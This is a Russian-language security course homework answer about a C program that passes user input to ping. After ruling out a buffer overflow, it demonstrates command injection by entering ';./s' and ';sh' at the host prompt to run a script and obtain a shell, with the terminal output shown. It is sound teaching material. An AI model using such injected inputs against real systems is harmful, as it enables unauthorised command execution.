###### tags: `netology` `security` # Домашнее задание к занятию «Системное программирование (язык C) - функции и библиотеки» ## Задача Проведите повторный анализ и посмотрите: 1. Можно ли реализовать переполнение? 2. Можно ли выполнить произвольную команду (если да, то как)? 3. Если ответ на п.2 - да, то можно ли получить shell (т.е. запустить sh и bash и продолжить работу с интерпретатором команд в интерактивном режиме)? --- 1. Функция fgets существует как раз для защиты от переполнения. Мне не известны способы "обмануть защиту" и вызвать переполнение при ее использовании 2. Можно. Впринципе можно выполнить хоть самый хацкерский код: - Создаем скрипт с имененм `s` и, например, таким безобидным содержимым: ```bash= #!/bin/sh echo 'Hello from fsociety! Mr.Robot' ``` - даем права на выполнение - запускаем нашу программу - на приглашение о вводе отвечаем: `;./s` - получаем такой вывод: ```bash= $ ./ping please enter host for ping ;./s command: ping host: ;./s full command: ping ;./s Ping: usage error: Destination address required Hello from fsociety! Mr.Robot ``` Input для ping можем оставить пустым, `;` для выполнения следующих команд, `./s` для запуска скрипта, где может быть что угодно. 3. По аналогии с прошлым примером, при запуске программы вводим: `;sh` и получаем доступ в shell